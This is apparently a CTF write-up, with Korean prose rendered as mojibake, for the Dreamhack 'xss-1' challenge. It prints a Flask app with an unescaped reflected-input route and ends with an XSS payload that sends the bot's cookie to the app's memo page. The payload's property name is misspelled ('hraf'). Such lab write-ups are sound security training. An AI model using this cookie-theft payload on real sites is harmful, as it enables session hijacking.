CTF, War game

[Dreamhack] Level 1: xss-1

mnzy๐ŸŒฑ 2024. 3. 15. 17:36

1. ๋ฌธ์ œ

https://dreamhack.io/wargame/challenges/28

 

xss-1

์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ๊ณผ ์ž…๋ ฅ๋ฐ›์€ URL์„ ํ™•์ธํ•˜๋Š” ๋ด‡์ด ๊ตฌํ˜„๋œ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. XSS ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. ํ”Œ๋ž˜๊ทธ๋Š” flag.txt, FLAG ๋ณ€์ˆ˜์— ์žˆ์Šต๋‹ˆ๋‹ค. ํ”Œ๋ž˜๊ทธ ํ˜•์‹์€ DH{...} ์ž…๋‹ˆ๋‹ค. ๋ฌธ์ œ ์ˆ˜์ • ๋‚ด์—ญ

dreamhack.io


2. ํ•ด๊ฒฐ ๊ณผ์ •

 

(1) ๋ฌธ์ œ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ 

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

 

 

vuln๊ณผ memo ํŽ˜์ด์ง€๋Š” ์ด์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’์„ ์ถœ๋ ฅํ•œ๋‹ค. 

memo๋Š” render_template ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด memo.html์„ ์ถœ๋ ฅํ•˜๊ณ . render_template ํ•จ์ˆ˜๋Š” ์ „๋‹ฌ๋œ ํ…œํ”Œ๋ฆฟ ๋ณ€์ˆ˜๋ฅผ ๊ธฐ๋กํ•  ๋•Œ HTML ์—”ํ‹ฐํ‹ฐ์ฝ”๋“œ๋กœ ๋ณ€ํ™˜ํ•ด ์ €์žฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— XSS๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š”๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ vuln์€ ์ด์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์„ ํŽ˜์ด์ง€์— ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— XSS๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") # ์ด์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ vuln ์ธ์ž๋ฅผ ๊ฐ€์ ธ์˜ด
    return param # ์ด์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’์„ ํ™”๋ฉด ์ƒ์— ํ‘œ์‹œ

 

 

(2) ํŽ˜์ด์ง€ ์ ‘์†

 

 

  • vuln(xss) page์— ๋“ค์–ด๊ฐ€๋ฉด ํŒŒ๋ผ๋ฏธํ„ฐ์— ๋“ค์–ด๊ฐ„ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋™์ž‘ํ•œ๋‹ค. 

 

  • memo ํ™”๋ฉด
    • memo ํ•จ์ˆ˜๋Š” flag ์— ์ž…๋ ฅํ•œ ๊ฐ’์ด ์„ฑ๊ณต์‹œ ์ถœ๋ ฅ๋˜๋Š” ํŽ˜์ด์ง€์ด๋‹ค.

 

  • flag ํ™”๋ฉด
    • flag ํ•จ์ˆ˜๋Š” ์Šคํฌ๋ฆฝํŠธ ์–ธ์–ด๋ฅผ ๊ธฐ์ž…ํ•˜์—ฌ, vuln ํŽ˜์ด์ง€์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ๊ณต๊ฒฉํ•˜๋Š” ํŽ˜์ด์ง€์ด๋‹ค.

 

์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด, ๋ฉ”์†Œ๋“œ์— ๋”ฐ๋ฅธ ์š”์ฒญ๋งˆ๋‹ค ๋‹ค๋ฅธ ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

GET์€ ์ด์šฉ์ž์—๊ฒŒ URL์„ ์ž…๋ ฅ๋ฐ›๊ณ , 

POST๋Š” params ํŒŒ๋ผ๋ฏธํ„ฐ์— ๊ฐ’๊ณผ ์ฟ ํ‚ค์— FLAG๋ฅผ ํฌํ•จํ•ด check_xss ํ•จ์ˆ˜๋ฅผ ๋ฆฌํ„ดํ•œ๋‹ค.

 

check_xss๋Š” read_url ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ด ๋กœ์ปฌ ํŽ˜์ด์ง€์˜ vuln ํŽ˜์ด์ง€์— ์ ‘์†ํ•œ๋‹ค.  

 

์—ฌ๊ธฐ์„œ read_url์— ๋Œ€ํ•ด ์ดํ•ดํ•˜๊ธฐ ์ „์— ์…€๋ ˆ๋‹ˆ์›€์— ๋Œ€ํ•ด์„œ ์ดํ•ดํ•˜๊ณ  ๋„˜์–ด๊ฐ€์•ผ ํ•œ๋‹ค.

 

์…€๋ ˆ๋‹ˆ์›€ (Selenium)์€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ…Œ์ŠคํŒ…์— ์‚ฌ์šฉ๋˜๋Š” ํŒŒ์ด์ฌ ๋ชจ๋“ˆ๋กœ, ์‘๋‹ต์— ํฌํ•จ๋œ Javascript, CSS์™€ ๊ฐ™์€ ์›น ๋ฆฌ์†Œ์Šค๋ฅผ ์›น ๋“œ๋ผ์ด๋ฒ„๋ฅผ ํ†ตํ•ด ํ•ด์„ํ•˜๊ณ  ์‹คํ–‰ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์›น ๋ธŒ๋ผ์šฐ์ €๋ฅผ ํ†ตํ•ด ํŽ˜์ด์ง€๋ฅผ ๋ฐฉ๋ฌธํ•˜๋Š” ๊ฒƒ๊ณผ ๊ฐ™์€ ์—ญํ• ์„ ํ•œ๋‹ค.

 

  1. ์ฟ ํ‚ค ์„ค์ •:
    • cookie={"name": "name", "value": "value"}: ํ•จ์ˆ˜ ์ธ์ž๋กœ ๊ธฐ๋ณธ ์ฟ ํ‚ค๋ฅผ ๋ฐ›๋Š”๋‹ค. 
    • cookie.update({"domain": "127.0.0.1"}): ์ฟ ํ‚ค์— ๋„๋ฉ”์ธ์„ ์ถ”๊ฐ€ํ•œ๋‹ค. ์ด ๊ฒฝ์šฐ, ๋กœ์ปฌ ํ˜ธ์ŠคํŠธ ์ฃผ์†Œ์ธ 127.0.0.1์„ ์‚ฌ์šฉํ•œ๋‹ค.
  2. ์›น ๋“œ๋ผ์ด๋ฒ„ ์„ค์ •:
    • Service(executable_path="/chromedriver"): Selenium์—์„œ Chrome ์›น ๋“œ๋ผ์ด๋ฒ„์˜ ์œ„์น˜๋ฅผ ์ง€์ •ํ•œ๋‹ค.
    • webdriver.ChromeOptions(): ํฌ๋กฌ ์˜ต์…˜์„ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•œ ์ธ์Šคํ„ด์Šค๋ฅผ ์ƒ์„ฑํ•œ๋‹ค.
    • ์˜ต์…˜ ์ถ”๊ฐ€: ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ํฌ๋กฌ ์˜ต์…˜์„ ์ถ”๊ฐ€ํ•˜์—ฌ ๋ธŒ๋ผ์šฐ์ €์˜ ๋™์ž‘์„ ์กฐ์ •ํ•œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด headless ๋ชจ๋“œ๋Š” GUI ์—†์ด ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์‹คํ–‰ํ•˜๋ฉฐ, window-size=1920x1080๋Š” ์ฐฝ ํฌ๊ธฐ๋ฅผ ์ง€์ •ํ•œ๋‹ค.
  3. ์›น ๋“œ๋ผ์ด๋ฒ„ ์ดˆ๊ธฐํ™” ๋ฐ ์„ค์ •:
    • webdriver.Chrome(service=service, options=options): ์„ค์ •ํ•œ ์˜ต์…˜๊ณผ ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Chrome ๋“œ๋ผ์ด๋ฒ„ ์ธ์Šคํ„ด์Šค๋ฅผ ์ƒ์„ฑํ•œ๋‹ค.
    • driver.implicitly_wait(3): ์›น ์š”์†Œ๊ฐ€ ๋กœ๋“œ๋  ๋•Œ๊นŒ์ง€ ์ตœ๋Œ€ 3์ดˆ๊ฐ„ ๋Œ€๊ธฐํ•œ๋‹ค.
    • driver.set_page_load_timeout(3): ํŽ˜์ด์ง€ ๋กœ๋“œ ์‹œ๊ฐ„ ์ œํ•œ์„ 3์ดˆ๋กœ ์„ค์ •ํ•œ๋‹ค.
  4. ์›น ํŽ˜์ด์ง€ ์ ‘์†:
    • driver.get("http://127.0.0.1:8000/"): ๋จผ์ € ๋กœ์ปฌ ์„œ๋ฒ„์˜ ๋ฃจํŠธ URL๋กœ ์ด๋™ํ•œ๋‹ค. ์ด ๋‹จ๊ณ„๋Š” ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•œ ์ดˆ๊ธฐ ์ ‘๊ทผ ๋‹จ๊ณ„๋กœ ์‚ฌ์šฉ๋œ๋‹ค.
    • driver.add_cookie(cookie): ์•ž์„œ ์ค€๋น„ํ•œ ์ฟ ํ‚ค๋ฅผ ๋ธŒ๋ผ์šฐ์ € ์„ธ์…˜์— ์ถ”๊ฐ€ํ•œ๋‹ค.
    • driver.get(url): ์‹ค์ œ๋กœ ์ ‘๊ทผํ•˜๊ณ ์ž ํ•˜๋Š” ์›น ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•œ๋‹ค. ์—ฌ๊ธฐ์„œ url์€ ํ•จ์ˆ˜ ์ธ์ž๋ฅผ ํ†ตํ•ด ๋ฐ›์€ ๋Œ€์ƒ ์ฃผ์†Œ์ด๋‹ค.
  5. ์˜ˆ์™ธ ์ฒ˜๋ฆฌ

์ฆ‰, flag ํŽ˜์ด์ง€์—์„œ vuln ํŽ˜์ด์ง€์˜ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ flag์˜ value(์ฟ ํ‚ค๊ฐ’)์„ ํƒˆ์ทจํ•˜๊ณ  ์ด๋ฅผ memo ํŽ˜์ด์ง€์— ์ถœ๋ ฅํ•œ๋‹ค.

 

flag ํŽ˜์ด์ง€์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ์ž…๋ ฅํ•œ๋‹ค. 

vuln ํŽ˜์ด์ง€์˜ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ๋กœ์ปฌ์˜ ๋ฉ”๋ชจ ํŽ˜์ด์ง€์˜ ํŒŒ๋ผ๋ฏธํ„ฐ์— ์ฟ ํ‚ค๊ฐ’์„ ๋ถ™์—ฌ ์ด๋™ํ•˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

<script>location.hraf = "http://127.0.0.1:8000/memo?memo="+document.cookie</script>